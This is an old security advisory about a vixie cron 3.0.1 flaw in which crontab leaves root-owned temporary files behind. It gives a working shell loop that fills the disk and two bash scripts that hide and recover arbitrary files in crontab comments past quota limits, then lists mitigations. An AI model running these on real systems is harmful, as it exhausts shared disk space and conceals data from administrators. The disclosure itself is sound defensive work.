COMMAND

    vixie cron

SYSTEMS AFFECTED

    Linux, BSD boxes running vixie cron (tested under 3.0.1)

PROBLEM

    Michal Zalewski found following. Suid executable, /usr/bin/crontab
    (vixie-cron up  to 3.0.1-20),  every time  it is  called by  user,
    transfers  content  of  given  file  to  root-owned temporary file
    created in /var/spool/cron.  Then, when coopying is done,  crontab
    renames it to user's login name.   But when copied file is  larger
    than maximum  filesize limit  (it may  be modified  using 'ulimit'
    command)  or  available  disk  space,  crontab  dies  leaving this
    temporary file.   In this  case user  may store  anything 'behind'
    quota limits, or waste whole free disk space. Here's an example:

        [root@genome /]# rpm -q vixie-cron
        vixie-cron-3.0.1-20
        [root@genome /]# ls -l /var/spool/cron
        total 1
        -rw-------   1 root     root          769 Nov 27 20:21 root
        [root@genome /]# df
        Filesystem         1024-blocks  Used Available Capacity Mounted on
        /dev/hda3             199079  166164    22634     88%   /
        ...

    Looks good. Now, the main attack:

        [lcamtuf@genome lcamtuf]$ ulimit
        5000
        [lcamtuf@genome lcamtuf]$ quota
        Disk quotas for user lcamtuf (uid 513):
              Filesystem  blocks   quota   limit   grace   files   quota   limit   grace
              /dev/hda3       3    5000    5000              15     150     150
              ...
        [lcamtuf@genome lcamtuf]$ NIC=0
        [lcamtuf@genome lcamtuf]$ while [ $NIC -lt 5 ]; do crontab /dev/zero & let NIC=NIC+1;done
        [1] 399
        [2] 400
        [3] 401
        [4] 402
        [5] 403
        [lcamtuf@genome lcamtuf]$ sleep 300;killall -9 crontab
        [1]   Killed                  crontab /dev/zero
        [2]   Killed                  crontab /dev/zero
        [3]   Killed                  crontab /dev/zero
        [4]   Killed                  crontab /dev/zero
        [5]   Killed                  crontab /dev/zero
        [lcamtuf@genome lcamtuf]$ quota
        Disk quotas for user lcamtuf (uid 513):
             Filesystem  blocks   quota   limit   grace   files   quota   limit   grace
             /dev/hda3       3    5000    5000              13     150     150

    Nothing happend...? Not quite:

        [root@genome /]# df
        Filesystem         1024-blocks  Used Available Capacity Mounted on
        /dev/hda3             199079  191290        0    100%   /
        ...

    Whoops... What's going on?

        [root@genome /]# ls -l /var/spool/cron
        total 25106
        -rw-------   1 root     root          769 Nov 27 20:21 root
        -rw-------   1 root     lcamtuf   5120000 Feb  5 15:01 tmp.453
        -rw-------   1 root     lcamtuf   5120000 Feb  5 15:02 tmp.468
        -rw-------   1 root     lcamtuf   5120000 Feb  5 15:03 tmp.469
        -rw-------   1 root     lcamtuf   5120000 Feb  5 15:03 tmp.482
        -rw-------   1 root     lcamtuf   5120000 Feb  5 15:03 tmp.483

    Note - when  ulimit is 0,  user may waste  WHOLE DISK SPACE  using
    single crontab /dev/zero command! Attack described above is stupid
    and simple, but /dev/zero may be replaced eg. with pipe.  In  this
    case, these  well-hidden 'temporary'  files may  be used  to store
    large amounts of hidden data, far away of user's home directory or
    tmp dirs.  Here's  Zalewski's proggy which allows hiding files  of
    any  kind  and  size  into  crontab  entries  (remember,  quota is
    ignored):

    #!/bin/bash

    echo "Vixie cron 3.0.1 file storage - put utlility"
    echo "by Michal Zalewski <lcamtuf@staszic.waw.pl>"
    echo

    if [ "$1" =3D "" ]; then
      echo usage: $0 file_to_hide
      echo
      exit 0
    fi

    if [ ! "`ulimit`" =3D "unlimited" ]; then
      echo Warning, filesize limit is set to `ulimit`.
      echo
    fi

    echo Installing fake crontab...
    echo
    echo "* * * * * # whoops..." >vix_tmp
    uuencode $1 <$1 | awk -F "\n" '{print "#FAKE" $1}' >>vix_tmp
    crontab vix_tmp
    echo "Thank you, file stored successfully."

    The next program allows futher extraction of these files:

    #!/bin/bash

    echo "Vixie cron 3.0.1 file storage - get utility"
    echo "by Michal Zalewski <lcamtuf@staszic.waw.pl>"
    echo

    if [ ! "`ulimit`" =3D "unlimited" ]; then
      echo Warning, filesize limit is set to `ulimit`.
      echo
    fi

    crontab -l | grep "#FAKE" | awk -F "#FAKE" '{print $2}'|uudecode
    echo "File restored successfully."

    However,  it  seems  this  is  not  a vixie-cron specific problem.
    Comments can be stored in all cron's.

SOLUTION

    Nothing yet.  If you're  proud owner of vixie crontab,  disable it
    or get something else.   Check your crontabs.  Disalowing  crontab
    jobs for ordinary users is what my admin do.  This problem can  be
    easily corrected, at  least on Red  Hat Linux systems,  were every
    user have it's own group. vixie cron will install the crontab file
    with ownership  root.usergroup.   Installing group  quotas for the
    partiotion /var/spool/cron resides on will solve the problem.